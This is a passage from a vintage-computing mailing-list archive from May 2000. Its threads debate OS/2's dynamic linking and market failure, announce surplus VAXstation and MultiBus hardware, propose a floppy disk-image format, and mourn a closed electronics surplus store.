the > > >executable image such that when the processor executes the CALL, it > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > >then snap the link [map the DLL into memory and then modify the faulting > > >instruction to point to the entry point of the routine as described in > > >the DLL's export table], and restart the instruction. Otherwise, it's > a bug > > >and you signal a condition which somehere generates an error message. > > >In this scenario, programs start up much faster because the OS is not > > >reading and linking every routine in the executable's import table. If > > >you never use feature in the program, and if feature resides > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > >MUCH, MUCH better execution, more robust operation, in particular, the > > >machine wouldn't thrash at startup dur to all those programs in your > > >startup folder. > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > >IBM and Microsoft on this and other salient technical points. MS won > > >and was wrong. > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > >respectfully submitted, > > >-doug quebbeman > > > > > > - Steve Mastrianni > > - Steve Mastrianni From ard at p850ug1.demon.co.uk Fri May 26 17:34:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:04 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <000301bfc75a$5fd3bfc0$013da8c0@Corellian> from "John Lewczyk" at May 26, 0 05:35:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1184 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/f5fee566/attachment.ksh From doug at blinkenlights.com Fri May 26 19:05:17 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526191756.05e2ad70@persys.com> Message-ID: I can believe that, but I thought we were talking about Gordon Letwin and the days when Microsoft designed/shipped OS/2. Letwin's book was published in 1988, well before OS/2 2.x. In any case, page faults are not required for DLL loading in any x86 OS. If you're using a flat memory model, then it might make sense. Was 2.x using a flat memory model? BTW, anybody have an MS-labeled version of OS/2? I think I still have a 1.2 box someplace. Cheers, Doug On Fri, 26 May 2000, Steve Mastrianni wrote: > Eh, no. The paging was totally rewritten for OS/2 2+. > > OS/2 must assuredly used 4K pages (and still does). OS/2 for the 286 was > version 1.x. > > I worked on the memory manager. > > At 05:36 PM 5/26/00 -0400, you wrote: > >Eh? You're both wrong. OS/2 used the protected-mode multi-segment > >support of the x86, but recall that OS/2 was originally released on the > >286 -- it didn't have any paging support. It's easy to distinguish a > >fault during a CS load from a GPF, and no page fault is involved. > > > >Cheers, > >Doug > > > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > > > Close, but not quite correct. > > > > > > GPF is a general protection fault, the most common problem is a bad or > > > uninitialized pointer. > > > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > > mechanism that causes a swapped out page to be swapped back in on a 4K > > > boundary. > > > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > > AT MICROSOFT! > > > > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > > Press. > > > > > > > >While I agree OS/2 is a better operating system than Windows, this > > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > > >should always be considered an indicator of a programming problem. > > > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > > >proper way to implement dynamic linking. As they shipped, OS/2 > > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > > >and Windows inherits the wrong way from OS/2. > > > > > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > > > >wrote an article that appeared in a magazine that described OS/2's > > > >dynamic linking as operating the way it should. > > > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > > >that are supposed to invoke procedures in a DLL are constructed in the > > > >executable image such that when the processor executes the CALL, it > > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > > >then snap the link [map the DLL into memory and then modify the faulting > > > >instruction to point to the entry point of the routine as described in > > > >the DLL's export table], and restart the instruction. Otherwise, it's > > a bug > > > >and you signal a condition which somehere generates an error message. > > > >In this scenario, programs start up much faster because the OS is not > > > >reading and linking every routine in the executable's import table. If > > > >you never use feature in the program, and if feature resides > > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > > >MUCH, MUCH better execution, more robust operation, in particular, the > > > >machine wouldn't thrash at startup dur to all those programs in your > > > >startup folder. > > > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > > >IBM and Microsoft on this and other salient technical points. MS won > > > >and was wrong. > > > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > > > >respectfully submitted, > > > >-doug quebbeman > > > > > > > > > - Steve Mastrianni > > > > > > - Steve Mastrianni > From kyrrin at bluefeathertech.com Fri May 26 19:15:58 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:04 2005 Subject: EQUIPMENT ALERT: MultiBus goodies & VAXen! Message-ID: <392EB14E.7749.A044DD5@localhost> CC'd to Port-VAX and Classiccmp... Hi, folks, The local (Seattle) used computer place I work with on occasion has turned up a whole stack of DEC VAXStation 4000's (desktop/'pizza box' configuration). I think these are the VLC model. Very little is known about them, though I also saw a whole pile of in-the-box LK401 keyboards with them. I'm pretty sure the owner of the place would let 'em go pretty cheap, especially since they're mainly a PC store. If there's any interest in these, let me know and I'll go over one or more in detail. Now, on the MultiBus front: The Seattle store has turned up a MultiBus computer that's full of boards, and at least one tape drive. It's in a rack chassis, pretty light for its size, and has a whole slew of serial ports (9-pinners) on the backside. It also has an SMD disk controller, and what appears to be a SCSI adapter (at least it's tied to a SCSI/QIC-xx bridge board to run the cartridge tape drive). Again, if there's any interest, let me know (and please include any offers -- don't be shy!) and I'll see what I can do to rescue the beastie. Thanks much. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allain at panix.com Fri May 26 19:43:06 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 References: <000201bfc74d$21192b10$0e0301ac@dba00802.databaseamerica.com> Message-ID: <001d01bfc774$864a1900$8a0101ac@ibm23xhr06> My neatest memory regarding OS/2 is of seeing a demonstration on 'Computer Chronicles' all the way back in 1987-88. It was more than a decent, polished demo of multitasking and enterprise apps. The wild thing about it was that the point man seen on the air was Lee Reiswig himself, who I found out later was at the executive level. If you watched Computer Chronicles very much you knew that unless it was a 10-50 man company the demonstrator was always a tech or sales guy. For IBM to send a VP, and for the Demo to have worked as well as it did really made it stand out in the context of that show. Lee got my respect for being more than just a title for that. (A little like, but better, watching Alex Trotman change oil on Michael Moore's 'TV Nation') John A. From pechter at pechter.dyndns.org Fri May 26 19:56:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:05 2005 Subject: EQUIPMENT ALERT: MultiBus goodies & VAXen! In-Reply-To: <392EB14E.7749.A044DD5@localhost> from Bruce Lane at "May 26, 2000 05:15:58 pm" Message-ID: <200005270056.UAA47782@bg-tc-ppp550.monmouth.com> > CC'd to Port-VAX and Classiccmp... > > Hi, folks, > > The local (Seattle) used computer place I work with on > occasion has turned up a whole stack of DEC VAXStation 4000's > (desktop/'pizza box' configuration). I think these are the VLC model. > > Very little is known about them, though I also saw a whole pile > of in-the-box LK401 keyboards with them. I'm pretty sure the owner > of the place would let 'em go pretty cheap, especially since they're > mainly a PC store. Sounds interesting. I've got a VaxStation 3100 but I'm interested in something like the 4000's. > > If there's any interest in these, let me know and I'll go over one > or more in detail. Please do. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From stevemas at persys.com Fri May 26 20:25:17 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: References: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: <4.3.1.2.20000526211849.0579b8c0@persys.com> OS/2 was modified at 2.0 to include a flat memory model. Apps and DLLs went to 32-bit flat model code. Legacy apps got their APIs thunked to 32-bits. It was also possible to use legacy DLLs from 32-bit apps, which got their APIs thunked 32 to 16 and back. Some called it a hack, for IBM it was a way to get legacy 1.x apps to run in 2.x. Older DOS and Win apps were run the V86 mode, each with their own 1MB sandbox. Of course none of that matters now. 8-) At 05:36 PM 5/26/00 -0400, you wrote: >Eh? You're both wrong. OS/2 used the protected-mode multi-segment >support of the x86, but recall that OS/2 was originally released on the >286 -- it didn't have any paging support. It's easy to distinguish a >fault during a CS load from a GPF, and no page fault is involved. > >Cheers, >Doug > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is a bad or > > uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > mechanism that causes a swapped out page to be swapped back in on a 4K > > boundary. > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > AT MICROSOFT! > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > Press. > > > > > >While I agree OS/2 is a better operating system than Windows, this > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > >should always be considered an indicator of a programming problem. > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > >proper way to implement dynamic linking. As they shipped, OS/2 > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > >and Windows inherits the wrong way from OS/2. > > > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > > >wrote an article that appeared in a magazine that described OS/2's > > >dynamic linking as operating the way it should. > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > >that are supposed to invoke procedures in a DLL are constructed in the > > >executable image such that when the processor executes the CALL, it > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > >then snap the link [map the DLL into memory and then modify the faulting > > >instruction to point to the entry point of the routine as described in > > >the DLL's export table], and restart the instruction. Otherwise, it's > a bug > > >and you signal a condition which somehere generates an error message. > > >In this scenario, programs start up much faster because the OS is not > > >reading and linking every routine in the executable's import table. If > > >you never use feature in the program, and if feature resides > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > >MUCH, MUCH better execution, more robust operation, in particular, the > > >machine wouldn't thrash at startup dur to all those programs in your > > >startup folder. > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > >IBM and Microsoft on this and other salient technical points. MS won > > >and was wrong. > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > >respectfully submitted, > > >-doug quebbeman > > > > > > - Steve Mastrianni > > - Steve Mastrianni From wilson at dbit.dbit.com Fri May 26 21:13:23 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net>; from Technoid@cheta.net on Fri, May 26, 2000 at 01:29:32PM -0400 References: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <20000526221323.A3827@dbit.dbit.com> On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: >The market is so steeped in MS-generated ignorance and bigotry against OS/2 >that >most people in this group have little or no experience with it. I really don't get how that happened. I jumped on OS/2 when V2.0 came out (after reading a really positive review, in Comp Shopper I think), but then felt burned by the bugs in V2.1 beta (how on earth did they break my text mode "hello world" program?!?!) and bailed. Then, a while later, M$ released WNT and everyone acted as if it was the second coming -- "at last, a 32-bit GUI-based OS designed for PCs, with true pre-emptive multitasking". Hmm, where had I seen one of those before, that ran faster in less memory, came from a more competent vendor, and had a lot more miles on it? The weird thing is, M$'s absolute stranglehold on the marketplace has really only been for the last few years. Or at least it seems that way, because each new height of predatory behavior they get away with makes the previous rounds seem insignificant. So I don't get how they managed to lock out IBM. I can understand why early OS/2 didn't make much of a splash, it was a lot of weight for the relatively wussified 286 CPUs to support. Early Windows was too big for the PCs of the time too, and it was largely ignored as a result. But OS/2 V2.0 and the 386+ machines were a very good match for each other. It deserved to succeed, and at the time Windows was only just starting to snowball, so OS/2 should have been there in time to really get some market share. John Wilson D Bit From foo at siconic.com Fri May 26 20:44:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:05 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <4.3.0.20000526112918.020b9c20@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote: > Below is the section from the manual that describes their > file format. > <...> > > Each sector written to the file is optionally preceded by an > 8-byte header record of the following form: > > > +------+------+------+------+------+------+----------+ > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | > +------+------+------+------+------+------+----------+ > > ACYL Actual cylinder, 1 byte > ASID Actual side, 1 byte > LCYL Logical cylinder; cylinder as read, 1 byte > LSID Logical side; or side as read, 1 byte > LSEC Sector number as read, 1 byte > LLEN Length code as read, 1 byte > COUNT Byte count of data to follow, 2 bytes. If zero, > no data is contained in this sector. > > All sectors occurring on a side will be grouped together; > however, they will appear in the same order as they occurred on > the diskette. Therefore, if an 8 sector-per-track diskette were > scanned which had a physical interleave of 2:1, the sectors might > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. > > After the last specified cylinder has been written to the DOS > file, AnaDisk returns to the Main Menu. This is a good start. The header should include a byte that contains a flag indicating the status of the sector (good, bad, etc). What about odd formats? I take my experience from the Apple ][. You had stuff like half-tracks and quarter-tracks (the head was stepped half-way or half of half-way between tracks to store data), odd disk formats (custom sector sizes, custom sector layouts, etc.), synchronization between tracks (one copy protection scheme was to write a two tracks so that if a seek was done from one track to the other, a specific sector would be expected under the head as soon as it got to the next track). Many of these methods were also used on the C64, and I believe on the Atari 8-bits. Software has been written on the Apple ][ to read the raw track data and dump it into a file that could then be compressed and sent over a modem line. Copy protected disks could only be archived in this manner, or else they would need to be cracked. I have a ton of original software for the Apple ][, and a ton of cracked software. I'd like to archive both, as the cracked copies often included the "credits" that the cracker placed on the software for having cracked it, and this is part of the culture (in fact it's a fairly interesting part of the culture that I'd like to document some day). The AnaDisk software doesn't seem to accomodate copy protected or custom-format disks. The standard will have to address these disks as well. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Fri May 26 20:48:20 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:05 2005 Subject: Documenting how old computers were used In-Reply-To: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: On Fri, 26 May 2000, Mark Gregory wrote: > It seems to me that increasingly, social historians and museums are more > interested in _how_ an artifact was used than in the thing itself. But > often , especially when I receive multiple examples of the same system, I > mix and match parts and programs to suit myself, and lose track of which > disk drive came with which CPU, which software was originally installed on > each, etc. Information is obviously being lost here. > > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. In fact, this is a subject I have been thinking about recently and I'm hoping to commission a talk for the next VCF. Any takers? I keep the systems I receive intact, as long as they came from the original owner. If I purchase something from a flea market or thrift store, it is usually already separated from the of the unit, and even if not, the context is lost. So I don't have problems with separating those pieces or mixing and matching them with other systems. As far as any books I receive with a computer, I have decided to separate those out into my library, but note whom they came from. The same would go for software. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From allisonp at world.std.com Fri May 26 20:27:55 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 Message-ID: <008501bfc783$14532620$7664c0d0@ajp166> >OS/2 was modified at 2.0 to include a flat memory model. Apps and DLLs went >to 32-bit flat model code. Legacy apps got their APIs thunked to 32-bits. >It was also possible to use legacy DLLs from 32-bit apps, which got their >APIs thunked 32 to 16 and back. Some called it a hack, for IBM it was a way >to get legacy 1.x apps to run in 2.x. Older DOS and Win apps were run the >V86 mode, each with their own 1MB sandbox. > >Of course none of that matters now. 8-) As I happen to have an IBM OS/2 warp V3 kit with bonus pak it makes me want to play again with it. I did in the last outing try installing it and it went well but I found the interface feeling a bit strange. It sounds like it has attributes that would make it ideal for smaller 486s and any 386s with enough ram but unlike some that want Multimedia I'd want IP (eithernet) networking. Allison From SUPRDAVE at aol.com Fri May 26 23:07:33 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 Message-ID: <24.589b81f.2660a405@aol.com> In a message dated 5/26/00 11:26:21 PM Eastern Daylight Time, allisonp@world.std.com writes: > As I happen to have an IBM OS/2 warp V3 kit with bonus pak it makes me > want to play again with it. I did in the last outing try installing it and > it went well > but I found the interface feeling a bit strange. It sounds like it has > attributes > that would make it ideal for smaller 486s and any 386s with enough ram > but unlike some that want Multimedia I'd want IP (eithernet) networking. i love os/2's WPS! if i could find a os/2 type shell for linux, i'd switch in a minute. if you want networking, go get warp connect. i've been told that it's been tweaked a little after warp 3.0 came out. i have it running on a PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect to my isp and my other machines. if DSL ever gets around here, i will use it to host my site. DB Young Team OS/2 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From stevemas at persys.com Fri May 26 23:47:40 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <4.3.1.2.20000527002302.05e2ce40@persys.com> >>So I don't get how they managed to lock out IBM. Simple: its the apps. Businesses and individuals don't run operating systems, they run applications. Trying to sell the OS on its merits as "the integrating platform" was not enough. Sure, it could multitask DOS and Windows apps, but users wanted much more than the old, tired real-mode applications. The wanted a flat address space to run those huge apps, and a file system with enough capacity to hold their giant databases. Cooperative multitasking is plumbing, and while some users could appreciate it, it was mostly a selling point for early adopters, geeks, and developers. At 10:13 PM 5/26/00 -0400, you wrote: >On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > >The market is so steeped in MS-generated ignorance and bigotry against OS/2 > >that > >most people in this group have little or no experience with it. > >I really don't get how that happened. I jumped on OS/2 when V2.0 came out >(after reading a really positive review, in Comp Shopper I think), but >then felt burned by the bugs in V2.1 beta (how on earth did they break my >text mode "hello world" program?!?!) and bailed. Then, a while later, M$ >released WNT and everyone acted as if it was the second coming -- "at last, >a 32-bit GUI-based OS designed for PCs, with true pre-emptive multitasking". >Hmm, where had I seen one of those before, that ran faster in less memory, >came from a more competent vendor, and had a lot more miles on it? > >The weird thing is, M$'s absolute stranglehold on the marketplace has really >only been for the last few years. Or at least it seems that way, because >each new height of predatory behavior they get away with makes the previous >rounds seem insignificant. So I don't get how they managed to lock out IBM. >I can understand why early OS/2 didn't make much of a splash, it was a lot of >weight for the relatively wussified 286 CPUs to support. Early Windows was >too big for the PCs of the time too, and it was largely ignored as a result. >But OS/2 V2.0 and the 386+ machines were a very good match for each other. >It deserved to succeed, and at the time Windows was only just starting to >snowball, so OS/2 should have been there in time to really get some market >share. > >John Wilson >D Bit - Steve Mastrianni From wilson at dbit.dbit.com Sat May 27 00:39:27 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000527002302.05e2ce40@persys.com>; from stevemas@persys.com on Sat, May 27, 2000 at 12:47:40AM -0400 References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> <20000526221323.A3827@dbit.dbit.com> <4.3.1.2.20000527002302.05e2ce40@persys.com> Message-ID: <20000527013927.A4346@dbit.dbit.com> On Sat, May 27, 2000 at 12:47:40AM -0400, Steve Mastrianni wrote: > >>So I don't get how they managed to lock out IBM. > >Simple: its the apps. Businesses and individuals don't run operating >systems, they run applications. Trying to sell the OS on its merits as "the >integrating platform" was not enough. Sure, it could multitask DOS and >Windows apps, but users wanted much more than the old, tired real-mode >applications. The wanted a flat address space to run those huge apps, and a >file system with enough capacity to hold their giant databases. But that's my point, OS/2 had that stuff back when Windows was still all strangled with 64 KB segments (even on CPUs that supported 4 GB segs) and the FAT file system and uncooperative single-tasking. And with applications too, M$'s absolute 100% dominance is a pretty recent development. There used to be piles of little application vendors before M$ killed them all, and plenty of them released OS/2 versions of their stuff (or, it worked so well in the compatibility boxes that there was no need). Customers don't care what percentage of applications run on an OS, they care whether the applications *they use* run on that OS. So an OS that runs less than 100% of the software in the world doesn't automatically deserve a 0% market share. I mean why the heck are Macs still around if so! I mean, just a couple of years ago, most games would not run under Windows. If you wanted games, you needed real live DOS. Yet M$ was somehow able to convince everyone to abandon it anyway and start writing their games for Windows, even though it had a bad rep among games users. How?! I'm just amazed at how M$ continues to tell the whole world to stand on its head and cluck like a chicken, and it actually works! John Wilson D Bit From mikeford at socal.rr.com Sat May 27 01:28:08 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:05 2005 Subject: Terminal Illness In-Reply-To: References: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> from "Joe" at May 25, 0 10:44:52 pm Message-ID: I was snooping in a distant salvage yard, and this place just got all the extra "stuff" from a long long time electronics place in Fullerton CA (RD Electronics). Part of the haul was the "collection" of old terminals that sat on shelves around the store for the last 30 years. They are currently sitting on pallets out in the yard, and I don't know how long this has been the case. One terminal I noticed was a ADM31 funny clamshell looking thing, but NO WAY am I going to haul a bunch of old terminals home at random. I didn't even dig enough to have a clue about what else is present, BUT there was a gaylord of rolls of ribbon cables and all that sort of old electronics store downsizing type stuff. Email me for details if driving to the "inland" empire sounds like fun. From kyrrin at bluefeathertech.com Sat May 27 03:52:25 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... Message-ID: <392F2A59.22311.BDD2264@localhost> A moment of silence, if you would, please, for the death of another long-lived electronics/computer surplus place. At the end of last month, Haltek Electronics, Mountain View, CA closed their doors. Not because they wanted to, nor because they didn't have a loyal following, but purely because of greed on the part of their jackass of a landlord. It seems that their lease was up for renewal. Their landlord, decided to get greedy, and wanted to at least double what they'd been paying for rent (maybe even 2.5 or triple... I'm not certain). In any case, they could not have continued to make a reasonable profit given what said landlord wanted to do, and there was no better location available. They opted for a quiet and dignified end. While they may rarely have had the best prices on test gear or computer hardware, Haltek was a very helpful source of parts for me and Lord only knows how many other electronics types in the Bay Area and beyond. I sincerely hope their landlord ends up holding on to a completely empty building for a VERY long time! Methinks he's a graduate of the Bill Gates School of Compassion. :-P Whatever else happens, I pray that other surplus stores, such as Weird Stuff and Sharon Industries, aren't next on the chopping block. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From peter at joules.org Sat May 27 02:43:13 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:52:05 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: <392DD40E.D9E6982D@rain.org> References: <34.5aac901.265f149c@aol.com> <392DD40E.D9E6982D@rain.org> Message-ID: In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > >How about dropping this particular thread or taking it to email. Starting >this kind of a flame war here doesn't do anyone any good. IIRC it's a long time since we had a good flame war on the list. ObCC - I have just changed jobs and have been sold the MicroVAX 3100 which I had on loan for 10 UKP. All of the other hardware and software which I am supposed to return remains in limbo - they don't particularly want it back as they would then have to throw it away but they retain ownership :( -- Regards Pete From mike at delos.rain.com Sat May 27 05:04:18 2000 From: mike at delos.rain.com (Mike Newman) Date: Sun Feb 27 18:52:05 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> Message-ID: <392F3B32.31609.149F59A@localhost> On 24 May 2000, at 17:45, Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. > > --Chuck My favorite program for saving floppy disk images is WinImage (www.winimage.com). As the name implies, it's a Windows program and its purpose is to make (and allow you to modify) images of IBM-compatible disks. One very handy feature is the ability to convert images to different disk formats, such as 1.2 MB to 1.44 MB (yes, that includes bootable disks). You can create a self-extracting image file for distribution to people who don't have WinImage. You can even create image files from hard drives, or .ISO image files from CD-ROMs. Files can be extracted from images without having to re-create the floppy disk. The program can even save the directory listing as text or html. Some features are only available in the "Pro" version, but I don't remember the details because that's the version I have. If only it could modify .ISO images the way it can modify floppy disk images... ----------------------------------------------------- Mike Newman INTERNET: mike@delos.rain.com Aloha, Oregon USA -or- mike.w.newman@gte.net http://home1.gte.net/res003ki/index.htm ----------------------------------------------------- Laws of Project Management #4: When things are going well, something will go wrong. When things just can't get any worse, they will. When things appear to be going better you have overlooked something. From bwit at pobox.com Sat May 27 07:23:29 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <4.3.1.0.20000527070918.00a7ee80@mail.ruffboy.com> At 10:13 PM 5/26/00 -0400, you wrote: >On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > >The market is so steeped in MS-generated ignorance and bigotry against OS/2 > >that > >most people in this group have little or no experience with it. > >[snip] > >The weird thing is, M$'s absolute stranglehold on the marketplace has really >only been for the last few years. Or at least it seems that way, because >each new height of predatory behavior they get away with makes the previous >rounds seem insignificant. So I don't get how they managed to lock out IBM. >I can understand why early OS/2 didn't make much of a splash, it was a lot of >weight for the relatively wussified 286 CPUs to support. Early Windows was >too big for the PCs of the time too, and it was largely ignored as a result. >But OS/2 V2.0 and the 386+ machines were a very good match for each other. >It deserved to succeed, and at the time Windows was only just starting to >snowball, so OS/2 should have been there in time to really get some market >share. I think Microsoft's FUD did play a major role in keeping the power of OS/2 a secret. However, I believe that IBM is just as responsible for the failure. IBM went out of their way to imply that OS/2 would only work on PS/2's. At the very least the implication was that it would certainly work "better" on a PS/2. This hurt OS/2 sales very badly. In addition, I found IBM very difficult to work with. They were never very forthcoming with technical information. I don't think this was because of the arrogance/incompetence found in working with Microsoft today. Rather, I think IBM's bureaucracy left precious few people with the authority to release information. At the time I was working for a large company who was sinking millions into OS/2 development. We constantly had to escalate problems up our management chain so one of our VP's could call one of IBM's VP's to get some action. On the other hand Microsoft was very forthcoming back in the late 80's and early 90's. They published all manner of technical information on OS/2 and when you had a problem you generally got to work with one of their developers. I was very sorry that OS/2 never got the respect it deserved but I was never surprised. Regards, Bob ------------------------------------------------------------------------------------------ Bob Withers Do or do not, there is no try. bwit@pobox.com Yoda. http://www.ruffboy.com ------------------------------------------------------------------------------------------ ----- BEGIN GEEK CODE BLOCK ----- Version 3.1 http://www.geekcode.com GCS d- s: a+ C++ UO++ P L++ E--- W++ N++ o-- w++ O M V- PS PE Y+ PGP t+ 5 X++ r* tv+ b++ DI++ D--- G e++ h--- r+++ y+++ ----- END GEEK CODE BLOCK ----- From ghldbrd at ccp.com Sat May 27 15:45:15 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> Message-ID: Hello Bruce On 27-May-00, you wrote: > A moment of silence, if you would, please, for the death of > another long-lived electronics/computer surplus place. > > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors. Not because they wanted to, nor because > they didn't have a loyal following, but purely because of greed on > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > In any case, they could not have continued to make a > reasonable profit given what said landlord wanted to do, and there > was no better location available. They opted for a quiet and > dignified end. > > While they may rarely have had the best prices on test gear or > computer hardware, Haltek was a very helpful source of parts for > me and Lord only knows how many other electronics types in the > Bay Area and beyond. > > I sincerely hope their landlord ends up holding on to a > completely empty building for a VERY long time! Methinks he's a > graduate of the Bill Gates School of Compassion. :-P > > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner/Head Honcho, > Blue Feather Technologies (www.bluefeathertech.com) > kyrrin@bluefeathertech.com > "SCSI Users, Unite! Beware the IDEs of March!" > Yes, seems more and more people here have been watching "Wall Street" (the movie and the real thing) and embracing Sam Geckoe's motto, "Greed . . . is good." Seems to be the way of the new millenium, starting with the gas pumps. Regards -- Gary Hildebrand ghldbrd@ccp.com From allisonp at world.std.com Sat May 27 09:48:11 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... Message-ID: 